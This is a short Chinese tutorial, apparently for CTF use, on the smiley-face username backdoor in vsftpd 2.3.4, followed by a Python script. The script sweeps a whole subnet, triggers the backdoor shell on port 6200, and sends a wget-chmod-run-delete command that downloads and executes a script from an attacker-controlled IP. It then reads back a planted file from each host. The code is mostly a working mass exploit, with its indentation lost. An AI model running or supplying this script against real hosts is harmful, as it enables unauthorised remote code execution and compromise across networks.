首先FTP是一个文件传输协议,而且FTP是一种明文的传输协议,通过WIreshark抓包能够直接获取到FTP协议的传输内容。
而在FTP2.3.4版本中,当用户名中存在:)的笑脸标志时,能够直接执行系统命令。
我们如果在CTF中遇到了FTP2.3.4版本号的服务,可以使用python进行批量攻击,那我们需要编写脚本来实现这个功能,同时我们最好是使用socket来实现和FTP服务的明文通信。这个过程和使用nc命令来测试网络连通性是相同的。
而在python中,利用代码如下:
import time
import requests
from socket import *
from multiprocessing import Pool
Aip = '192.168.113.103'
def hifun(ip):
con = socket()
try:
con.connect((ip,21))
except:return True
else:
con.send('User us:)\n')
con.send('Pass pas:)\n')
try:
con.close()
time.sleep(1)
s = socket()
s.connect((ip,6200))
s.send('wget http://%s/.do.sh;chmod +x .do.sh;./.do.sh;rm -rf .do.sh\n'%Aip)
print("run script %s"%ip)
s.close()
except:return False
else:
ret = requests.get("http://%s/.swap.bak"%ip,timeout=2.4)
print("%s\t%s"%(ip,ret.text.strip()))
ret.close()
return True
def sumFun(ip):
t = 2
while t:
if(hifun(ip)):
return
else:
t = t -1
def main():
pool = Pool(50)
iplist = ("192.168.113.%s"%i for i in range(1,255))
pool.map(hifun,iplist)
pool.close()
pool.join()
main()